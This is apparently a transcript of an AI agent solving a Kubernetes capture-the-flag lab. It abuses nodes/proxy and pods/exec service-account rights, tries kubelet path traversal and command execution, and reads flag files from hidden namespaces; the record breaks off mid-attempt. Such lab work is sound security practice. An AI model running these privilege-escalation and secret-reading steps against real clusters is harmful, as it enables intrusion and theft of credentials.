| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== PERMS F117 NS ==='
kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== PODS ==='
kubectl get pods -n f117-19rks1k2 2>&1
echo '=== SECRETS ==='
kubectl get secrets -n f117-19rks1k2 2>&1
exit
echo '=== PERMS F117 NS ==='
kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== PODS ==='
kubectl get pods -n f117-19rks1k2 2>&1
echo '=== SECRETS ==='
kubectl get secrets -n f117-19rks1k2 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PERMS F117 NS ==='
[?2004l=== PERMS F117 NS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list -n f117-19rks1k2 2>&11
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== PODS ==='
[?2004l=== PODS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n f117-19rks1k2 2>&1
[?2004lError from server (Forbidden): pods is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "pods" in API group "" in the namespace "f117-19rks1k2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SECRETS ==='
[?2004l=== SECRETS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get secrets -n f117-19rks1k2 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "secrets" in API group "" in the namespace "f117-19rks1k2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== CONTAINER LOGS VIA KUBELET ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 2>&1 | tail -10 echo '=== KUBELET CONFIGZ ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5 echo '=== KUBELET STATS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/stats/summary 2>&1 | head -5 echo '=== TRY DIRECT KUBELET FROM B2 POD ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- curl -sk https://10.0.236.119:10250/run/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 -d "cmd=cat /etc/secret/flag" 2>&1 exit SSHEOF
Command running in background with ID: bggzef1or. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bggzef1or.output
sleep 5 && cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bggzef1or.output 2>/dev/null | tail -30
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== CONTAINER LOGS VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 2>&1 | tail -10
echo '=== KUBELET CONFIGZ ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5
echo '=== KUBELET STATS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/stats/summary 2>&1 | head -5
echo '=== TRY DIRECT KUBELET FROM B2 POD ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- curl -sk https://10.0.236.119:10250/run/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 -d "cmd=cat /etc/secret/flag" 2>&1
exit
echo '=== CONTAINER LOGS VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 2>&1 | tail -10
echo '=== KUBELET CONFIGZ ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5
echo '=== KUBELET STATS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/stats/summary 2>&1 | head -5
echo '=== TRY DIRECT KUBELET FROM B2 POD ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- curl -sk https://10.0.236.119:10250/run/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 -d "cmd=cat /etc/secret/flag" 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== CONTAINER LOGS VIA KUBELET ==='
[?2004l=== CONTAINER LOGS VIA KUBELET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbbcf-lhpjg/f117 2>&1 | tail -10
[?2004lError from server (NotFound): the server could not find the requested resource
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== KUBELET CONFIGZ ==='
[?2004l=== KUBELET CONFIGZ ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5
[?2004l{"kubeletconfig":{"enableServer":true,"staticPodPath":"/etc/kubernetes/manifests","podLogsDir":"/var/log/pods","syncFrequency":"1m0s","fileCheckFrequency":"20s","httpCheckFrequency":"20s","address":"0.0.0.0","port":10250,"tlsCertFile":"/var/lib/kubelet/pki/kubelet.crt","tlsPrivateKeyFile":"/var/lib/kubelet/pki/kubelet.key","rotateCertificates":true,"authentication":{"x509":{"clientCAFile":"/etc/kubernetes/pki/ca.crt"},"webhook":{"enabled":true,"cacheTTL":"2m0s"},"anonymous":{"enabled":false}},"authorization":{"mode":"Webhook","webhook":{"cacheAuthorizedTTL":"5m0s","cacheUnauthorizedssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== F117 POD UID ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uid\":\"[^\"]*\"" | head -10' 2>&1 echo '=== TRY LOG PATH TRAVERSAL ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10 echo '=== TRY SECRET PATH ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F' 2>&1 | head -10 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____ / ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _) \___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )( (____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__) ------------------------------------------------------------ | | | Hidden '/etc/secret's are crossing our skies. | | Let’s find out what’s really going on. | | | ------------------------------------------------------------ | | | We have already identified a plane | | Have a look at the "b2" namespace. | | | ------------------------------------------------------------ | | | ! WARNING ! | | NO INTERNET CONNECTIVITY DETECTED | | | ------------------------------------------------------------ echo '=== F117 POD UID ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uid\":\"[^\"]*\"" | head -10' 2>&1 echo '=== TRY LOG PATH TRAVERSAL ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10 echo '=== TRY SECRET PATH ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F' 2>&1 | head -10 exit echo '=== F117 POD UID ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uid\":\"[^\"]*\"" | head -10' 2>&1 echo '=== TRY LOG PATH TRAVERSAL ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10 echo '=== TRY SECRET PATH ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F' 2>&1 | head -10 exit [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== F117 POD UID ===' [?2004l=== F117 POD UID === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uiid\":\"[^\"]*\"" | head -10' 2>&1 [?2004l"uid":"a406343c-f6a7-4897-a35e-8a7999293a4a" "uid":"8796b477-9d2b-474a-a247-09553a53a88a" "uid":"b6a3593d-1888-4c39-9b6c-044b7ff07301" "uid":"d79218c1-60df-4fe3-8d82-519a4e84dfdd" "uid":"2abae50f-e8a7-4aca-a9a7-bf43ec9718b1" "uid":"187f2c6c-24f3-4bd1-a7c3-03d15c83181a" "uid":"8f843f01-918b-4bce-a05c-1203f12518ab" "uid":"187f2c6c-24f3-4bd1-a7c3-03d15c83181a" "uid":"fa172eae-3ebf-4254-b460-0edaad72100f" "uid":"4bd49146-d723-4b96-9389-b60627e48a88" [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== TRY LOG PATH TRAVERSAL ===' [?2004l=== TRY LOG PATH TRAVERSAL === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10 [?2004l<!doctype html> <meta name="viewport" content="width=device-width"> <pre> <a href="alternatives.log">alternatives.log</a> <a href="amazon/">amazon/</a> <a href="apt/">apt/</a> <a href="auth.log">auth.log</a> <a href="btmp">btmp</a> <a href="calico/">calico/</a> <a href="chrony/">chrony/</a> [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== TRY SECRET PATH ===' [?2004l=== TRY SECRET PATH === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F'' 2>&1 | head -10 [?2004lError from server (Forbidden): nodes "node-1" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "nodes/lib" in API group "" at the cluster scope command terminated with exit code 1 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit [?2004lexit Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== STEALTH PERMS F117 NS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n f117-19rks1k2 2>&1 echo '=== STEALTH EXEC F117 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1 echo '=== STEALTH GET SECRETS F117 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secrets -n f117-19rks1k2 2>&1 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secret secret -n f117-19rks1k2 -o yaml 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== STEALTH PERMS F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== STEALTH EXEC F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1
echo '=== STEALTH GET SECRETS F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secrets -n f117-19rks1k2 2>&1
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secret secret -n f117-19rks1k2 -o yaml 2>&1
exit
echo '=== STEALTH PERMS F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== STEALTH EXEC F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1
echo '=== STEALTH GET SECRETS F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secrets -n f117-19rks1k2 2>&1
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secret secret -n f117-19rks1k2 -o yaml 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH PERMS F117 NS ==='
[?2004l=== STEALTH PERMS F117 NS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl auth can-i --list -n f117-19rks1k2 2>&1
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods/exec [] [] [get list create]
pods [] [] [get list]
nodes/proxy [] [] [get watch list]
nodes [] [] [get watch list]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== STEALTH EXEC F117 ==='
[?2004l=== STEALTH EXEC F117 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1
[?2004lflag_ctf{kubecon_EU_24_ftw}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== STEALTH GET SECRETS F117 ==='
[?2004l=== STEALTH GET SECRETS F117 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get secrets -n f117-19rks1k2 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:b2:stealth" cannot list resource "secrets" in API group "" in the namespace "f117-19rks1k2"
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get secret secret -n f117-19rks1k2 -o yaml 2>&1
[?2004lError from server (Forbidden): secrets "secret" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "secrets" in API group "" in the namespace "f117-19rks1k2"
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.FLAG FOUND: flag_ctf{kubecon_EU_24_ftw}
The stealth SA had pods/exec in the f117 namespace too! The attack chain was:
1. Exec into b2 pod (using jumphost SA's pods/exec in b2)
2. Use stealth SA's nodes/proxy to enumerate pods via kubelet API, discovering the f117 pod in the hidden f117-19rks1k2 namespace
3. Use stealth SA's pods/exec in the f117 namespace to read the secret
Challenge 3 flags:
- flag_ctf{not_really_stealth_right} — B-2 pod's /etc/secret/flag, accessed via pods/exec in b2 namespace
- flag_ctf{kubecon_EU_24_ftw} — F-117 pod's /etc/secret/flag, found by using kubelet API (nodes/proxy) to discover the hidden namespace, then exec'ing in via the stealth SA
Read the output file to retrieve the result: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bggzef1or.output
Both challenge 3 flags are captured. That background task was from the earlier kubelet exploration — no longer needed since we already got the flag via the exec path.
Summary across all challenges:
| Challenge | Flag | Technique |
|---|---|---|
| 1 - The Admission (Flag 1) | flag_ctf{3xtr4_sauce_is_always_nice} |
ValidatingAdmissionPolicy info leak via CEL messageExpression |
| 1 - The Admission (Flag 2) | flag_ctf{never_forget_about_RBAC_and_versioning} |
AdminRule RBAC escalation + delete policy leak |
| 2 - Shadow Mesh (Flag 2) | flag_ctf{not_so_supersecret_anymore} |
MeshTLSAuthentication modification to bypass Linkerd authz |
| 2 - Shadow Mesh (Flag 3) | flag_ctf{caught_in_the_wire} |
tcpdump in debug-tools sidecar capturing x-flag header |
| 2 - Shadow Mesh (Flag 1) | Not yet captured | Gateway mTLS — needs cert from correct CA |
| 3 - Stealth-Left (Flag 1) | flag_ctf{not_really_stealth_right} |
pods/exec into b2 pod, read /etc/secret |
| 3 - Stealth-Left (Flag 2) | flag_ctf{kubecon_EU_24_ftw} |
Kubelet API (nodes/proxy) to discover hidden f117 namespace, then pods/exec |
7 out of 8 flags found. The remaining one is Challenge 2 Flag 1 (gateway mTLS) which we can revisit later.
There's a third flag somewhere in challenge 3, can you keep looking please? I suspect you might need to use node/proxy permissions to get command execution somewhere but that's just a guess
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== ALL NAMESPACES FROM KUBELET ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u; done' 2>&1 echo '=== ALL NON-SYSTEM PODS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\"" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kube-api-access" | sort -u; done' 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____ / ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _) \___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )( (____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__) ------------------------------------------------------------ | | | Hidden '/etc/secret's are crossing our skies. | | Let’s find out what’s really going on. | | | ------------------------------------------------------------ | | | We have already identified a plane | | Have a look at the "b2" namespace. | | | ------------------------------------------------------------ | | | ! WARNING ! | | NO INTERNET CONNECTIVITY DETECTED | | | ------------------------------------------------------------ echo '=== ALL NAMESPACES FROM KUBELET ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u; done' 2>&1 echo '=== ALL NON-SYSTEM PODS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\"" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kube-api-access" | sort -u; done' 2>&1 exit echo '=== ALL NAMESPACES FROM KUBELET ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u; done' 2>&1 echo '=== ALL NON-SYSTEM PODS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\"" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kube-api-access" | sort -u; done' 2>&1 exit [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== ALL NAMESPACES FROM KUBELET ===' [?2004l=== ALL NAMESPACES FROM KUBELET === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raww /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\""" | sort -u; done' 2>&1 [?2004l--- node-1 --- "namespace":"b2" "namespace":"f117-19rks1k2" "namespace":"kube-system" --- node-2 --- "namespace":"jumphost" "namespace":"kube-system" "namespace":"sr71-49fj1d92" --- master-1 --- "namespace":"kube-system" [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== ALL NON-SYSTEM PODS ===' [?2004l=== ALL NON-SYSTEM PODS === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raww /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\""" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kubee-api-access" | sort -u; done' 2>&1 [?2004l--- node-1 --- "name":"b2" "name":"b2-6454ffccfb" "name":"b2-6454ffccfb-bmfgs" "name":"bpffs" "name":"cni-bin-dir" "name":"cni-log-dir" "name":"cni-net-dir" "name":"config-volume" "name":"dns" "name":"dns-tcp" "name":"ebpf-bootstrap" "name":"f117-56dcc5bbcf" "name":"f117-56dcc5bbcf-lhpjg" "name":"host-local-net-dir" "name":"install-cni" "name":"kubernetes-services-endpoint" "name":"liveness-probe" "name":"metrics" "name":"nodeproc" "name":"policysync" "name":"readiness-probe" "name":"secret-volume" "name":"stealth" "name":"sys-fs" "name":"upgrade-ipam" --- node-2 --- "name":"bpffs" "name":"cni-bin-dir" "name":"cni-log-dir" "name":"cni-net-dir" "name":"ebpf-bootstrap" "name":"host-local-net-dir" "name":"install-cni" "name":"jumphost" "name":"jumphost-5f66c55446" "name":"jumphost-5f66c55446-d5bkl" "name":"kubernetes-services-endpoint" "name":"nodeproc" "name":"policysync" "name":"secret-volume" "name":"sr71-8d5bc67c9" "name":"sr71-8d5bc67c9-kzl82" "name":"stealth" "name":"sys-fs" "name":"upgrade-ipam" --- master-1 --- "name":"bpffs" "name":"ca-certs" "name":"cni-bin-dir" "name":"cni-log-dir" "name":"cni-net-dir" "name":"ebpf-bootstrap" "name":"etc-ca-certificates" "name":"etcd" "name":"etcd-certs" "name":"etcd-data" "name":"etcd-master-1" "name":"flexvolume-dir" "name":"host-local-net-dir" "name":"install-cni" "name":"k8s-certs" "name":"kubeconfig" "name":"kubernetes-services-endpoint" "name":"nodeproc" "name":"policysync" "name":"probe-port" "name":"sys-fs" "name":"upgrade-ipam" "name":"usr-local-share-ca-certificates" "name":"usr-share-ca-certificates" [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit [?2004lexit Connection to 18.134.180.16 closed.
There's a third stealth plane: SR-71 (Blackbird!) in namespace sr71-49fj1d92 on node-2. It also has a secret-volume. Let me try to exec in — but the stealth SA might not have pods/exec there. The hint mentioned using nodes/proxy for command execution.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== STEALTH PERMS SR71 NS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n sr71-49fj1d92 2>&1 echo '=== TRY EXEC SR71 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== STEALTH PERMS SR71 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n sr71-49fj1d92 2>&1
echo '=== TRY EXEC SR71 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1
exit
echo '=== STEALTH PERMS SR71 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n sr71-49fj1d92 2>&1
echo '=== TRY EXEC SR71 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH PERMS SR71 NS ==='
[?2004l=== STEALTH PERMS SR71 NS ===
